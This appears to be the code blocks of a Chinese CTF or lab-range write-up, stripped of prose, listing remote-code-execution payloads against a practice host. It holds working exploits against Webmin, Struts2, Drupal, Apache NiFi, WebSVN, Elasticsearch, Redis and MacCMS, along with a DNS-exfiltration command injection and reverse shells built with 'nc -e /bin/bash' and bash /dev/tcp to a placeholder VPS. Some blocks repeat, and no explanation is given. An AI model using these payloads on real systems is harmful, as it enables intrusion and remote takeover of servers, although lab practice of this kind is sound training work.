1

http://106.75.119.109:32470/api/getServices?name[]=$(ping%20`ls%20/tmp`.f01e33dd.dns.1433.eu.org.)

1

python3 redis-rce.py -r 靶场地址 -p 靶场端口 -L vps地址 -P vps端口 -f exp.so

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

const sandbox = this

const ObjectConstructor = this.constructor

const FunctionConstructor = ObjectConstructor.constructor

const myfun = FunctionConstructor('return process')

const process = myfun()

mockJson = process.mainModule.require("child_process").execSync("ls /tmp").toString()

1

skillName=%25%7b%23_memberAccess.allowPrivateAccess%3Dtrue%2C%23_memberAccess.allowStaticMethodAccess%3Dtrue%2C%23_memberAccess.excludedClasses%3D%23_memberAccess.acceptProperties%2C%23_memberAccess.excludedPackageNamePatterns%3D%23_memberAccess.acceptProperties%2C%23res%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D%40java.lang.Runtime%40getRuntime()%2C%23s%3Dnew%20java.util.Scanner(%23a.exec('ls%20%2Ftmp').getInputStream()).useDelimiter('%5C%5C%5C%5CA')%2C%23str%3D%23s.hasNext()%3F%23s.next()%3A''%2C%23res.print(%23str)%2C%23res.close()%0A%7d

1
2
3

POST /password_change.cgi HTTP/1.1

user=rootxx&pam=&expired=2&old=test|ls /tmp&new1=test2&new2=test2

1
2
3

index.php?m=vod-search&wd={if-A:assert($_POST[a])}{endif-A}

POST：a=phpinfo()

1
2
3

http://106.75.119.109:26813/manager/admin_ip.php

POST：pwd=system('ls /tmp');

1
2
3
4

<form enctype="multipart/form-data" action="http://106.75.119.109:45984/admin.php/common/add_images.html" method="post">  
<input type="file" name="file" size="50"><br>  
<input type="submit" value="Upload">  
</form>

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97

import sys
import json
import requests as req


class Exp:
    def __init__(self, url):
        self.url = url

    def check_is_vul(self):
        url = self.url + "/nifi-api/access/config"
        try:
            res = req.get(url=url, verify=False)
            data = res.json()
            return not data["config"]["supportsLogin"]
        except Exception as e:
            pass
        return False

    def clean_up(self, p_id):
        url = self.url + "/nifi-api/processors/" + p_id
        data = {'revision': {'clientId': 'x', 'version': 1}, 'state': 'STOPPED'}
        req.put(url=url + "/run-status", data=json.dumps(data), verify=False)
        req.delete(url + "/threads", verify=False)

    def exploit(self, cmd):
        g_id = self.fetch_process_group()
        if g_id:
            p_id = self.create_process(g_id)
            if p_id:
                self.run_cmd(p_id=p_id, cmd=cmd)
                self.clean_up(p_id=p_id)

    def run_cmd(self, p_id, cmd):
        url = self.url + "/nifi-api/processors/" + p_id
        cmd = cmd.split(" ")
        data = {
            'component': {
                'config': {
                    'autoTerminatedRelationships': ['success'],
                    'properties': {
                        'Command': cmd[0],
                        'Command Arguments': " ".join(cmd[1:]),
                    },
                    'schedulingPeriod': '3600 sec'
                },
                'id': p_id,
                'state': 'RUNNING'
            },
            'revision': {'clientId': 'x', 'version': 1}
        }
        print(data)
        headers = {
            "Content-Type": "application/json",
        }
        res = req.put(url=url, data=json.dumps(data), headers=headers, verify=False)
        return res.json()

    def fetch_process_group(self):
        url = self.url + "/nifi-api/process-groups/root"
        try:
            res = req.get(url=url, verify=False)
            data = res.json()["id"]
            return data
        except Exception as e:
            pass
        return 0

    def create_process(self, process_group_id):
        url = self.url + "/nifi-api/process-groups/" + process_group_id + "/processors"
        data = {
            'component': {
                'type': 'org.apache.nifi.processors.standard.ExecuteProcess'
            },
            'revision': {
                'version': 0
            }
        }
        headers = {
            "Content-Type": "application/json",
        }
        try:
            res = req.post(url=url, data=json.dumps(data), headers=headers, verify=False)
            return res.json()["id"]
        except Exception as e:
            pass
        return 0


if __name__ == '__main__':
    if len(sys.argv) != 3:
        print("rce.py url cmd")
    else:
        url = sys.argv[1]  # http://106.75.119.109:36958
        cmd = sys.argv[2]  # nc -e /bin/bash 192.168.1.129 1234
        e = Exp(url)
        e.exploit(cmd)

1

nc -lv 21000

1

python Apache-NiFi-Api-RCE.py http://106.75.119.109:36958 "nc -e /bin/bash vps vps端口"

1
2
3

POST /password_change.cgi HTTP/1.1

user=rootxx&pam=&expired=2&old=test|ls /tmp&new1=test2&new2=test2

1
2
3

def main():
    Exp("http://106.75.119.109:30089", "ls /tmp")

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: 106.75.119.109:35924
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 115
Content-Type: application/x-www-form-urlencoded

form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=passthru&mail[#type]=markup&mail[#markup]=ls -l /tmp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22

import requests
import argparse
from urllib.parse import quote_plus
 
PAYLOAD = "/bin/bash -c 'bash -i >& /dev/tcp/vps地址/vps端口 0>&1'"
REQUEST_PAYLOAD = '/search.php?search=";{};"'
 
parser = argparse.ArgumentParser(description='Send a payload to a websvn 2.6.0 server.')
parser.add_argument('target', type=str, help="Target URL.")
 
args = parser.parse_args()
 
if args.target.startswith("http://") or args.target.startswith("https://"):
  target = args.target
else:
  print("[!] Target should start with either http:// or https://")
  exit()
 
requests.get(target + REQUEST_PAYLOAD.format(quote_plus(PAYLOAD)))
 
print("[*] Request send. Did you get what you wanted?")

1
2
3
4
5

POST /website/blog/

{
  "name": "test"
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18

POST /_search?pretty
    
{
    "size": 1,
    "query": {
      "filtered": {
        "query": {
          "match_all": {
          }
        }
      }
    },
    "script_fields": {
        "command": {
            "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"ls /tmp\").getInputStream()).useDelimiter(\"\\\\A\").next();"
        }
    }
}

1
2
3
4
5

POST /website/blog/

{
  "name": "test"
}

1
2
3

POST /_search?pretty

{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"ls /tmp\").getText()"}}}

1
2
3

POST /password_change.cgi HTTP/1.1

user=rootxx&pam=&expired=2&old=test|ls /tmp&new1=test2&new2=test2